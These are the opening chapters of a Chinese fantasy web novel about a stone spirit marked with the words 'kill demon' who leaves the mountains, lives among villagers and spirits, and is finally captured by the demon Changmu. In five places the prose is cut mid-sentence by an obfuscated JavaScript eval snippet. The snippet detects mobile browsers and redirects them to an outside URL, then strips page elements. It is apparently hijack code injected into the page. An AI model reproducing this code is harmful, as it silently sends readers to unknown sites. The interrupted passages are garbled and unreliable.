《杀魔》 1. 楔子·有无山 是春天,她带我回了有无山。 那日清晨醒来,我听见身侧冰裂的声音,溪流叮叮咚咚地绕过我,在经过一整个漫长寒冬后。 我已经等待了一整个冬天,如果再无人经过,我会在春天到来时重归混沌。 定有人会问,混沌是什么?我且努力形容一番。 如要用夜晚做比喻,那是比夜更黑的时间,浑浊、黏腻的黑糊住你的感官和身体,意识因此变得迟钝无比。 是,我是一颗有意识的石头,在那日清晨前,我并不以为重归于混沌是多么可怕的事情。 直到那日的阳光照到我,我躺在她手掌上,被她掌心比沙地更粗砺的茧刮擦着,分不清是阳光还是她掌心的热让我的身体发烫。 “寂石?” 她从来古井无波的语调里有了几分不常见的惊喜。 清冽的溪水将我的身体清洗干净,我被一块棉布帕子包裹着,放置在贴近心口的位置。那是我第一次听见人心房的震动,像山里回响的雷声。 我被放在她的枕边,晨起晚练,她无一日不带着我,以清涟水濯我身,以心头血养我神,一日如此,日日皆然。 直到遗落在枕边的青丝染上半面灰白,天寒地冻里,她带我来到山巅,在山涧源头处掘出一块二尺见方的坑洞。 我被那双满是剑茧的手放在坑洞正中。 “待到春日,我来寻你。”她对我说。 冰凉的土掩埋了我的身体,我重新归于暗处。这里的暗与混沌不同,穿过疏松土粒,常常能看见银色的月光。老实说,我已经忘了混沌的样子,只是这里不似她枕边柔软,我并不十分喜爱。 一日,我的身体变得润湿,那是山涧解冻了,我听见水流激荡的声音,比溪水吵闹得多。 又过了几日,有什么从我身体中冒了出来,我穿过覆盖在身体上的土地,久违地晒到了月亮。 身体叫嚣着,我越长越高,逐渐超过了边上的崖石,一部分的我钻向山涧的方向饮水,另一部分的我伸向月亮。 我总在夜晚生长,我厌恶白日。白日的阳光太过灼热,我的叶片被晒得蜷成一团,只有在月光里才能重新张开。 山巅空空,常有浩荡风,不知春天还剩几日,她一次未曾来。 高处的我离地愈发遥遥,低处的我已经将根须扎进深深的地底。一个白日,我忽然明白了,她说春日来,但没说是哪个春日。 日复一日,我的胸膛里充斥着一团鼓胀的气,撑着我往外扩张。我张得越来越大,日光也无法使其蜷缩,我终日被炎日炙烤,胸膛里的热气让我再也无法忍受,如同冰面开裂,开始仅是一条裂缝,慢慢撕开成一道无可挽回的深渊巨口,我躺在深渊正中,尘世的酷热与清凉扑面而来。 然后我又见到她。 她的头发和雪一样白了,笑容也和雪一样轻柔,她笑了,带着剑茧的手将我从深渊中抱出。 “记住,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660307|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫不枉琢。” 她对我说。 那时的我还不能够问出她的名字,待到数年后,我知了她的名字,那一日,是她的死时。 那是另一个春日,早晨她没有起来练剑。我推开房门,走进暗室里,挂上架子床的半边帘子。 她躺着阴影里,气息微弱,头发铺在身下,像一截洗过太多回的白布。 她向我伸出手,我握住,那手是凉的。 她说:“你命数业已书成,吾命今日将休。” “我练了一辈子剑,还是杀不了魔,阿琢,但愿你能如我所愿。” 说完,她的目光转向虚空。 “娘亲,爹,阿姐,裳华来见你们了!” 她的眼眸亮过一瞬,复又陷入永远的黑暗里。 裳华死了。费了好大一番劲,我才将她搬到山顶。 山巅树下,我从上午挖到傍晚,终于挖出一个能容一人的深坑。我将她放在那坑中。 人将死矣,形如叶落,叶落归根才算有始有终。这是她曾告诉我的。 傍晚风凉,这年的春天尽了,树上还有最后一朵红花。我将那花摘下,合握在她长着厚实剑茧的手里。 那刻,我的后颈忽觉疼痛,我抬手摸去,后脖子上多出了似是“杀魔”字样的篆刻。 疼痛片刻便消了,我不明所以,不以为意。 轻轻拍了拍她的手背,带着石头上新生的“杀魔”二字,我往山下去。 2. 涉世(一) 下了山,便是人间界——这是路上遇到的精怪告诉我。 我已行了很久的路,时而是人身,时而化身成石头的样子,我青色的身体因浸满了裳华的心头血变得暗红,又因在地底埋得太久而发黑。 刚下山时我穿着衣服,身上带了些人用的钱财,后来衣服破了,钱用光了,我就又回到了山里。 在山里躺着晒太阳时,总有精怪打扰我,她们指着我身上的刻痕叽叽喳喳地说话。 “那是什么?” “是人的字!” “人的字!” “杀……杀魔!啊吓死了!杀魔,是杀魔啊……” 杀魔有何可怕? 每到一处都会引来围观,实在太过吵闹,我想把那刻字磨去,遍寻方法不得,最尖利的石壁也无法磨去那浸透心头血的杀魔二字。 就这样过去了很多年,我有了新名字,精怪们都叫我杀魔石。我也从她们嘴里得知了如今世间唯一的魔的名字。 精怪们告诉我,魔头长暮住在一座白色的山上。 “你要杀了长暮吗?”精怪们问我。 “我要杀魔。” “长暮就是魔。” “要杀了长暮吗?” 她们七嘴八舌地问我。 “是,”我说,“我要杀长暮。” “长暮很厉害的。” “长暮不会死。” “没有谁可以杀了他!” 我说:“我要杀魔。” 日升月沉,我在山里度过了许多年岁,我喜欢山里的气味,喜欢和精怪说话,喜欢鸟雀站在我石头的身体上。 我没有见过长暮,不知道他在哪里,但我要杀了他,这是裳华在我石头的身体上留下的,石头的命数。 话虽如此,大部分时间,杀魔于我而言不过是一个偶尔浮现的念头。也许有一天我会遇见长暮,也许这一天要很久之后才会出现,这都无关紧要。 魔的寿命无穷无尽,石头也一样,总会有遇见的那一天,到那时我便杀了他,现在最要紧的呢,是赶在冬天到来前多多晒太阳。 长叶子的时候我并不乐意晒太阳,石头的身体却很喜欢。不知道从什么时候开始,我开始讨厌山里的冬天。 到了冬天,大地冰封,精怪们都躲到了洞穴地底,天地间只剩下些无趣的枯木和石头,枯木不会说话,那些石头也不会说话。 世界骤然安静了,我却怀念起那些吵闹。 冬天的人间界应当是热闹纷繁的。这么想着,我的身体不受控制地变成了人形。 寒风呼啸,一老妪拄着竹杖上山挖药。 “呀,怎么有个孩子?” “还是个女娃……” 我被用外衣裹了好几层,放进她的背篓里,和一堆黑糊糊的葛根待在一起。 推开院门,老妪放下背篓朝茅屋里喊:“二娘,我在山里捡到个女娃!” 扎着蓝头巾的二娘在灶台前忙碌,我躺在老妪怀里听她们说话。 老妪说:“这娃娃放山里怕是活不过今晚。” 灶台的白汽让我看不清二娘的脸,她叹息道:“给留下吧。” “可咱家……” “没事,这女娃看起来好养活。” 老妪叫卫老太,女儿卫二娘。原本老卫家一家四口都住在这山脚下的村子里,卫家二娘芳龄十六嫁给邻村屠户,第二年就生下了一女一儿,传为一时的美谈。 后来宋国开战了,朝廷募兵的告示贴到了这偏僻的村落,卫家老爹、大哥和卫二娘的丈夫纷纷入伍,一去再无音讯。 战一打就是好几个年头,瘟疫连着灾荒,两个村子几十户人家,连三分之一的活口都不剩。卫二娘两个孩子,饿死一个病死一个,直到今年秋天,收到朝廷发的恤银,日子才能再过上几天。 我在卫家住下来,二娘晚上哼小曲儿哄我睡觉。我喜欢她哼的曲子,伸手去捉她头上的蓝布头巾。她拿住我手指放到嘴边亲了亲,一开始笑,后来又哭了起来。 我长到五岁那年,卫老太死了,我和二娘一起把她埋在山里竹子茂盛的地方。二娘牵着我的手下山,问我饿不饿,想不想回家吃面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660308|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二娘煮了两碗鸡蛋面,眼泪掉在碗里,二娘煮的面好吃,卫老太煮面从来舍不得放鸡蛋。 我十岁那年,二娘身体也不行了,肚子疼得整晚睡不着觉。她怕她死了之后我被村里人欺负,躺在床上看着我流眼泪,我趴在床边告诉她,等她死了我就回山里当石头。 二娘干瘦的手抓着床帐子,说她下辈子也做石头就好了,做人太疼了。 在山里寻了个石头多的地方,我埋了二娘,在周边翻了一下午,终于让我找到一块像二娘的石头。那石头上有一道蓝色的纹路,就像二娘头上的蓝头巾。 我在二娘坟包上坐着,不想再回去村子。 在村子里这十年,卫老太病死了,卫二娘疼死了。住得近的,隔壁养黄狗的老头饿死了,黄狗被吃了。离得远的,住村尾的胖儿头,我和他捉过迷藏,夏天得瘅热,没熬过来也死了。 做人太疼了,我不想做人了,又做回了石头。 我回到山里,山里的精怪们少了很多,都不爱出来了。她们说现在北边魔气太盛,已经不适合精怪们修行,她们要去更南边的地方。 精怪们七嘴八舌对我说:“杀魔石,你也快些走吧,听说长暮这些年在找一块叫杀魔的石头。” “被他找到可就坏了。” “你会灰飞烟灭,到时候连石头都做不成啦!” 长暮,那个魔,这些年来一直在找一块叫杀魔的石头。 他在找我? 为什么? 因为我要杀他? 我问精怪们:“那个长暮长什么样?” 精怪们大眼瞪小眼,纷纷比手划脚。 “他脑袋有山头这——么大!腿比下山的路还长,身子就像这座山!” 我听完吓呆了。 我的神仙奶奶,我只是一块石头,要怎么杀了一座山啊? 痛定思痛,第二天我就跟着精怪们踏上了南下迁徙的队伍。 世间有一个山一样的魔,我叫杀魔石,可我决计不能够杀了他。好在石头的命很长,且容我先去逃命,从长计议。 3. 涉世(二) 沿着河道一路南下,越往南,山越翠绿,山林间的精怪也多了许多我没见过的。 我和一只蟾蜍精一路结伴,她告诉我,再往南三百余里就是万妖城。 万妖城所处之地灵气旺盛,有许多厉害的大妖怪,要是能在万妖城久居下来,勤加修炼,假以时日,说不定我们也能变成厉害的大妖怪。 我问她假以时日要多久。 蟾蜍精突然闪电一样吐出舌头卷住一只飞过的大苍蝇,她吞下,一脸餍足。 我有点恶心,转过了脸。 蟾蜍精的声音从后面悠悠传来:“少说三五百年吧。” 一般精怪的寿命最多不过三五百年,要是没能修成正经妖怪,就会慢慢变回混沌之初的样子。 我曾经认识一只两百多岁的鸡精,还没满三百岁,因为修行一直未见成效,慢慢失去神智,重新变回了一只鸡,后来被进山的猎人打回去做了汤。 鸡兄下锅那日是人间的大年三十,一群山中精怪围着猎户家后院久久不散,夜半哀啼。猎户一家以为大过年惹了什么不祥之物,猎户妻子半夜举着扫帚出来把我们都赶跑了。 忆及此事,我此刻仍心有余悲。 我问蟾蜍精那些大妖怪里面有没有本体是石头的。 蟾蜍精沉思良久:“硬要说石头的话,是有一个。” 我当时并未对她话里的勉强之意多加思量。 就为了她这句话,我们加快了南下的脚步,连滚带爬,日行百里有余,三日后终于看见了万妖城恢宏的大门。 万妖城城门高得一眼望不到顶,城墙上站着一排身着银光甲的妖兵,气派极了。城墙正中三扇城门大开着,左进右出,凭牌通行,皆由妖兵把守,秩序井然。 我问蟾蜍精中间那扇大门是干什么的。 “那是大妖怪走的,一般妖怪可走不得。”蟾蜍精热得不停吐舌头。 万妖城入城和出城都要核查通行令牌,不同种类的妖领到的令牌形制不同。我们已经在城门外排了两日的队,领通行令牌的队伍依然一眼望不到头。 排到傍晚,终于轮到我和蟾蜍精了,发令牌的妖兵却说要收摊,让我们明天再来。 我登时一急,蟾蜍精把我按住,舌灿莲花,好说歹说,还给妖兵塞了两个妖灵丹,才求得了通融。 蟾蜍精领到她的绿色令牌喜不自胜,说去城门边等我,说完一蹦三尺地走了。 妖兵看向我,催促道:“最后一个,快点。” 我上前一步,把手放到四方的验妖石上,石头慢慢变得温热,朝向妖兵的另一面显出了我的本体。 高个妖兵说:“这石头上好像有字……” 矮个妖兵凑近细看:“杀……杀魔……” 认出字的妖兵揉了揉眼睛,又喊来第三个妖兵辨认。 “杀魔,这两字就是杀魔!” “喂,你是真杀魔石还是假杀魔石?”矮个妖兵问我。 我说:“这是自己长出来的。” 妖兵对视:“看来是假的,这年头假杀魔石太多了,三天两头就有假杀魔石要进城。” 妖兵说要把这两字磨掉,不然他们不能放我进城。我说这两字磨不掉,他们不信,我只能变回本体让他们试试。 躺在地上,天边夕阳已半边落进山坳里,我石头的身体被刀削斧砍,还被长枪凿了好几十下,石头上的杀魔二字纹丝不动。 “怎么回事,这两个字真磨不掉,”妖兵们面面相觑,“那要不要放她进去?” 我想告诉他们,虽然我身上有杀魔这两字,但我现在杀不了魔,也不准备杀魔,少说还得再修炼个百来年再做打算。 话还没说出口,天色暗了下来,四周起了风,一顶鲜红的步辇落在城门前,惊起满地尘土。 “赤翡大人回来了!” “是赤翡大人的轿子!” 妖兵们窃窃私语。 我被扔在地上,眼睁睁看着他们跑去红步辇那里告状。 红步辇里伸出一只削葱根般的手,懒垂在窗边,一女声懒洋洋道:“呈来我看看。” 我被捡起来,恭恭敬敬放到那个白皙的掌心里。我闻到她手掌里暖甜的香味,像被太阳晒得烂融的芍药花。 我第一次闻见这么好闻的味道,整个石头身体贴在她手心里想多闻一会儿。 没得逞,她把我捏在两指间,尖尖的红指甲盖在我身体上挠了挠。 “杀魔?”她笑起来,“有意思。” 我正被挠得舒服,谁想下一秒就被丢了出去。 那股暖香的味道离我远去,我听见她铃铛般清脆的笑声,她说:“石头精而已,放她进城罢。” 莫名其妙几番折腾,我最终还是进了万妖城。 蟾蜍精拿着我的令牌左看右看:“我从来没见过灰色的牌子。” “难道因为我是石头精?”我问,“万妖城里石头精多吗?” “据我所知,屈指可数。” 我叹了口气。 我从来没见过别的石头能成精的,如果不是裳华,我现在也许还是躺在溪边晒太阳的石头。 杀魔这两字让我感到危险,因此入城后我一直保持人形。 我和蟾蜍精拿到的都是临时令牌,能在万妖城中停留七日,七日之后必须离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660309|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开。 要是七日之内能在万妖城中找到一份工,就能拿到万妖城的暂居令牌,有暂居令牌能在城里待上半年。 一进城已是晚上,我跟着蟾蜍精去找工,蟾蜍精带我直奔万妖城里最大的酒楼——百花楼。 万妖城算是妖界最繁华的城池之一,只见一路上宝马雕车香满路,我目不暇接。 我在人间待过的时间不长,待过最久的地方便是卫家所在的小村落,人间界的繁华仅在其它精怪口中略有听闻。我不知道万妖城的城建参照了人间都城的形式,只知道那是我见过最好的地方。 我们见到了百花楼的管事,管事的说我们赶上了好时机,万妖城即将迎来一年里最盛大的节日,届时楼里会招待各路大妖怪,现在急需人手。 我领到了一份在后院打杂的活,蟾蜍精动作比我更麻利,管事安排她在前厅跑腿。 管事说本来百花楼招工不负责住宿,但看我们初来乍到的份上,分给我们一间柴房暂住,等我们领了第一个月的工钱,就要自己出去找地方住。 我和蟾蜍精当晚就在百花楼柴房住下了。 柴房不大,堆满了干柴和其工具杂物,我和蟾蜍精变成了自己的本体模样,坐在柴房里的干草垛上。 蟾蜍精不知道从哪里偷来一个算盘,两只爪子连带一条舌头,算盘打得遍响。 听见她碎碎念叨的“攒钱、买宅”这样话,我心知她又陷入了对未来的美好幻梦里。 躺在草垛上,我看着窗外,窗外有树,树上有月亮,月光穿过树梢漏了些进来,照得我石头的身体冰冰凉凉。 我不知道我能不能长久地留在万妖城里,能不能修炼成厉害的大妖怪。 变成大妖怪之后就能杀魔了吗? 我不知道。 躺在冷月光里,我问蟾蜍精:“喂阿蟾,你说赤翡大人和长暮谁更厉害?” 阿蟾还在打算盘,两眼直放精光:“当然是长暮。” 原来修成赤翡大人那样大妖怪也不能杀魔。 想了想,我又问:“那万妖城里有打得过长暮的妖怪吗?” 蟾蜍精打算盘的舌头往回卷了卷,说:“硬要说一个的话,翠山大人应该能算一个。” 我心头一喜:“翠山大人住哪?我有事要问他。” 蟾蜍精觉得我脑袋坏掉了。 “翠山大人是千岁大妖,醉心修炼,深居简出,哪是你一个石头精想见就能见到的?” 我有些气馁,但还是暗下决心,一定要找机会见翠山大人一面。 谁知还没等我去找,过了两天,这深居简出的大妖怪竟自己找上门来。 4. 涉世(三) 那是我在百花楼打杂的第三天。下午,我正在后院清扫落叶,管事脚步匆匆过来说有妖怪找我。 我手里拿着扫帚,被管事拖着一路疾走,在后花园里分花拂柳。 “早说你认识翠山大人啊,还能让你在后院扫地!” 管事头上钗花晃花人眼,回头嗔我一眼。 我:“啊?翠山大人?” “就在亭子里等着你呢!” “我不认识他。” “哎哟,现在谁管你认识不认识,人家来了指名道姓要见百花楼新来的石头精!” 管事从背后推了我一把,我跌撞走上水榭前的长廊,但见长廊里的青衫一角。 这就是翠山大人?修行千年的大妖怪竟是这般少年模样? 盛夏午后风,动一池莲叶,青衫少年斜倚阑边,右手心拾了一把鱼食,左手捡出两粒随意扬向水面。 他慢条斯理喂鱼,喂完擦了手,转过身来。 “就是你?” “就是我。” “石头精?” “杀魔石。” 翠山露出似笑非笑的表情,一扬袖,我就变成了一块躺在地上的石头。 他在我面前蹲下,手指摩挲过石头上的杀魔两字。 “剑修心头血,不养本命剑,反而养一块石头,是有多恨啊。”他轻轻叹了口气。 我一语不发,他又一扬袖,我恢复人身。 翠山像是看到了什么稀罕物,绕着我走了几圈,像是想在我身上找出点什么。 我恭恭敬敬站好。这是一等一的大妖怪,要是他想把我变成石头架火上烤了,我也只能任由他烤了。 看了半晌,翠山摇头道:“我实在看不出你这石头精有什么杀魔的本事。” “翠山大人,我想修炼成像您一样的大妖怪。”我自认摆出了最诚挚的表情。 翠山掸了下袍,拂开袖子在阑干边坐下,一手支着头:“像我一样又如何?” “等我修炼到像您一样厉害的时候,我就能杀魔了。” 翠山失笑:“我可杀不了魔。” 我震惊的表情再次逗乐了他。 “你竟什么都不知,那个剑修不曾告诉你?” “她已经死了。” “呕心沥血至此,必死无疑。” 我不高兴了,我不喜欢他这么说裳华。 但看在他是我见过最厉害的大妖怪的份上,我还是讨好地问:“翠山大人,你这么厉害,你知道要怎么才能杀魔吗?” 翠山说:“石头成精本来不易,不如来我府中修炼,修上百千载,能修成名动一方的大妖怪也未可知。” 我不说话。 翠山问:“这魔你非杀不可?” “这魔我非杀不可。” 我补了句:“这是我的命数。” 鱼食已被抢食一空,莲花池子里的锦鲤鱼围在水榭阑干边久久不愿走。 翠山眸光深深:“你可知现如今天地间唯一的魔名叫长暮?” “这个我知道。” “就这么和你说吧,”翠山说,“长暮你杀不了。” “为什么?” “不光是你杀不了,没有谁能杀了长暮。” 翠山站起来理了理袍子。 “即便是命数也有落空的时候,你改变主意的那天,可来我府中寻我。” 为什么?我心头诸多疑问,还欲再问,翠山已翩然离去。 我回去后院继续扫地,桂树的树叶掉在青石板上,我用扫帚把落叶扫到一堆,那堆绿色里幻化出翠山的脸。 翠山确实也是石头。 不过是玉石。 要是能去翠山府邸修炼当然是最好的,同族自然最知道同族的修炼之法,可他说我杀不了魔。 若是修炼百千载依然杀不了魔,那修成大妖于我而言又有何用? ———— 除夏节一般在伏热已过,尚未立秋之时,是万妖城夏季最隆重的节日。 万妖城入夏之后暑热旺盛,一般妖怪在极热之时都会体生惫懒,疏于修炼,过了除夏节意味着这样的日子就要结束了,一年里最好的修炼时节就要到来了。 就在除夏节这天,我第一次见到长暮。 在从石头变成石头精的漫长时间里,我曾很多次听到长暮这个名字。直到见到长暮,我才意识到我从未想象过这个魔的样子。 还是石头的时候,我不知美丑。有无山上,裳华醉心剑术,我整日与山中精怪为伴,裳华也不曾告诉我美丑为何物。 直到我在卫家庄长到四、五岁,时常听见村子里的人说卫二娘家的漂亮女娃。 那时候卫二娘每天早上把我梳洗干净,打扮整齐,我喜欢我那副小孩的身体,现如今依然是我当年十岁的样子,我知道这副样子是好看的。 后来见过的山精妖怪多了,我渐渐能分辨出美与丑,遇到长得好看的妖怪,我心生亲切,忍不住上前亲近,见到丑陋的妖怪,我避之不及。 蟾蜍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660310|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精算是个意外。 我初见蟾蜍精时,她是个蹲在山泉石上的大黑□□,那时我觉得她是丑的。 后来相处过几日,我越发感觉到她的有趣,连她□□的身体也觉得可爱了,这就是人间界所说的爱屋及乌吧。 扯远了,话说回我初次见到长暮。 如今我不再是没见识的石头精,在万妖城的这些日子,我见过许多好看的妖怪,赤翡大人和翠山大人,一红一青,美得不可方物。 可就算是这么美的大妖怪,犹不及长暮。 如果杀魔是让这样一副容颜从此在三界消失,那我真是会感到无比惋惜呢。不过,在了解到此魔的恶劣秉性后,我今生再无此念,此乃后话。 准备除夏节的那段时间,百花楼里的妖怪忙极了。 百花楼承办了除夏节那天的晚宴,城主府出钱,流水般的宴席从主街的最东边一直摆到最西边,当日在城的妖怪,无论长居还是暂留,皆可参席。 我蹲在后厨削萝卜皮,从早上上工我已经削了整整两筐萝卜,突然,蟾蜍精溜来告诉我长暮就要来了。 我边用小刀削皮边问:“你怎知长暮要来?” “从前厅客人那偷听来的。” 我削萝卜削得眼前都是白萝卜的虚影,一时间没明白蟾蜍精的意思。 蟾蜍精抢过我手里的萝卜在我脑门敲了下。 “长暮一定是来找你麻烦的,你快找个地方避一避。” “他为什么要找我麻烦?” 蟾蜍精惊呼:“你削萝卜把脑袋削坏了吗?!长暮要来万妖城找杀魔石,你还不快跑!” 我拿回蟾蜍精手里的萝卜,冷静地继续削。 蟾蜍精急得在原地蹦了下,外面又有人在叫她了。 “你这脑袋像石头的,晚上再跟你说!” 她一阵风似的跑掉了。 我不是脑袋长得像石头,我本来就是石头。别人说我们石头精固执,实则我们有自己的道理。 就像蟾蜍精说的长暮要来找我,且不说这个消息是真是假,我心里明白长暮迟早会来。 他既然要来,想必也是因为知道了我要杀他的消息。 既然他是因为我要杀他来的,只要他不是石头脑袋,只要我杀不了他,他一定会在我杀他之前把我杀了。 而翠山大人说没有人能杀长暮…… 我捏着萝卜陷入深思。 也就是说我杀不了他。 也就是说,长暮一定会把我杀了! 5. 涉世(四) 长暮一定会把我杀了! 按照一般妖怪的思路,知道自己死路一条的时候必会马上逃命。 而我没有——因为百花楼没做满半个月不给发工钱。 我可以做一块没钱的山里石头,但我不能忍受起早贪黑白白给百花楼打了十几天工,却连一文钱都拿不到! 这比让我死了还难受。 死也要等到领了工钱再死。 更何况还有三天就是除夏节,过完除夏节我就干满半个月了,到时候我就能领了工钱美美逃命去。 我决心再忍耐三天,于是越发努力地削萝卜,争取给管事留下最后的好印象,好在三天后能顺利领到工钱。 蟾蜍精对我自寻死路的行为无言以对,不再跟我说话。 我对她说:“阿蟾你想想啊,我们赶了几个月的路,又排了那么久的队,难道只是为了进城打半个月的白工?” 阿蟾眼皮子一颤,不知道被话里的哪个字刺痛了。 我使出最后的杀手锏,拍了拍她的肩膀,说:“来都来了……” “那说好,要是你死在长暮手里,我给你找个地方埋了,你剩下的钱都归我。” 真是个狠心的蟾蜍精。 “成交!” 就这么过了三日,多么风和日丽的三日,我又削了几大框萝卜,还将长街宴要用的桌椅上上下下擦洗了一遍。 终于,众妖翘首的除夏节到来了。 过午下了场太阳雨,明亮的日光照在长街湿淋淋的石板道上,各处张灯结彩,挂起了不同颜色的飘带。空气里满是湿润尘土的气味。 我穿着楼里新发的桃色衣裳,两髻各绑了一串绒毛小彩球。我站在屋檐下,滴滴答答的雨,豆大的雨水已成了细密的雨丝。 那一刻,我仿佛等了很久。 街上行人稀少,一贯热闹的街边尚冷清着,大家都在为今晚准备,都在等着除夏节的今天过去,等着一年里最好的修炼时节到来。 为妖么,修炼是顶顶重要的事。 雨停了,那一刻,檐下一滴水珠滴落,我从那颗滴落的水珠里看到自己十岁的脸,刹那间孩子的脸长大了,束发的女人看着我。 最后,坠地的水珠碎成无数双眼睛。 那双眼睛眼含玩弄,带着我看不懂的笑意。 那是一双我从没见过的,魔的眼睛。 魔从何而来? 裳华曾告诉我,天地间原本没有魔,是人心生妄欲,因而生魔。 魔伴随人心中的妄念而生,是天地间妄念的集大成者,世间魔族万千,能称之为真魔的唯有长暮。 “他因无穷妄念而生,而你顽石之心洁净,以你之手取他性命再合适不过。” 裳华这样对我说。 我问裳华:“那我当如何做?” 她如雪的发丝被风扬起一缕,纤细的眼垂了下去,嘴唇微动。 我听不清她在说什么,心头焦急,突然,我肩膀被重重拍了下。 “别做梦了,还有最后一道菜,准备了!” 我六神归位。 长街宴还有最后一道菜,一座金雕玉砌的高楼被四轮木车推着从侧街驶出,那是妖怪们想象中神仙楼阁的样子。 此楼一出,众妖脸上都染上了迷醉的神色。 木石成精已是千难百难,成仙化神更是遥不可及的美梦,但没有妖怪不会做这样的梦。 我听路边妖怪说到这里,忍不住打了个哈欠。他们不知道自己艳羡的神仙楼阁是我的杰作,我可是削了好几天呢。 是了,那本是堆大白萝卜,加了雕饰而已。 如此费尽心力修炼又为何? 自然是为了有朝一日,功德圆满,草木蛇虫亦可修得不死金身。 萝卜雕成的仙阁楼台闪着耀眼金光,煌煌如日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660311|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,照在每个仰视它的妖怪脸上。 那轮众妖仰首的金日运至席首,穿着深紫服饰的城主翘腿坐在四方宝座上,俏丽女童看向她的子民,抬了抬藕段般的手臂,满意道:“既如此,便开宴吧。” 话音刚落,长街风乍起。 城主紫葡萄般的眼睛略眯了一瞬:“哦?贵客来了。” “贵客来了怎么不现身,长街宴已备齐,菜可要凉了啊。” 带着刺骨寒意,从高高的城墙上吹来,拂过仙阁顶时,镶嵌在楼台顶上的白明珠摇颤,发出欲裂的声响。 离得近的妖怪都听见了。 他们仰头盯着那颗如日如月的明珠,有妖拜倒了,不管如何乞求,珠子依然在仰视者的哀求的目光中碎成了风中白屑。 “啊……楼塌了……仙阁塌了啊!” 从阁顶明珠开始,整座萝卜雕成的仙阁楼台由上至下,在风里变得脆硬,终化为一地闪着金光的渣沫。 我没有看到这一幕,不然定会大为叹惋,那可是我花了好几天的大作啊。 这时的我已经跑了,带着这半个月赚到的工钱,绕过今晚疏于守备的妖兵,我早已溜出万妖城。 城外月照山岗,我站在山坡上只迟疑了片刻,随后一头扎进密林里。 觉察到危险时逃跑是鸟兽的本能,石头也是这样。 我在密林里慌不择路,心里其实有种认命的感觉。我与此魔命运纠缠至此,这一个照面非打不可了。 于是在那迫人寒意侵袭到我后脖颈时,我咚地一声,变回了一颗石头。 我等待着,直到一只冰冷的手捡起我,那动作可以说有几分轻柔。 他冰冷的指腹摸过石头上的刻字。 我听闻一声笑。 是开心,悲伤,还是痛恨? “终于找到你了,杀魔石。” 他声音轻轻的,念出我名字。 6. 涉世(五) 魔把杀魔石带回了雪山。 我很久之前就听说,那个叫长暮的魔住在一座白色的山里,一个叫苍林雪域的地方。那是一片极北之地,从来没有妖去过。 这地方真冷啊,就算对于一块石头来说,也是寒冷刺骨的洞穴了。 他将我带回到这里,把我丢在地上,坐回洞中石台上两手结了个法印,然后不再动弹。 我悄悄看了一会儿,看起来像是入定了。 第一天,石头躺在地上,魔打坐。 第二天,石头躺在地上,魔打坐。 第三天,石头躺在地上,魔打坐。 …… 石头真是个顶顶舒服的身体,什么都不用做,在百花楼削萝卜已经像上辈子的事了。 就这样,两年过去了。 眼看着魔的头顶和睫毛上凝出了一层霜雪,我怀疑再这么睡下去,我会直接睡回混沌中。 恰逢洞外是久违的大晴天,忍到第三年,我实在按捺不住爱晒太阳的本性,长出手脚往洞边爬去。 我没看见暗处魔的睫毛颤了颤。 如此这般,又过去了两月。 第三年快到冬天了。冬天的洞穴又湿又冷,到处挂满了冰棱,十天半个月见不着太阳。 像这样的冬天,我已经忍耐过两轮,俗话说得好,事不过三,要不是被绑架了…… 等等……我没被绑架,我手脚还能动! 既然没被绑架,为什么不逃跑呢?! 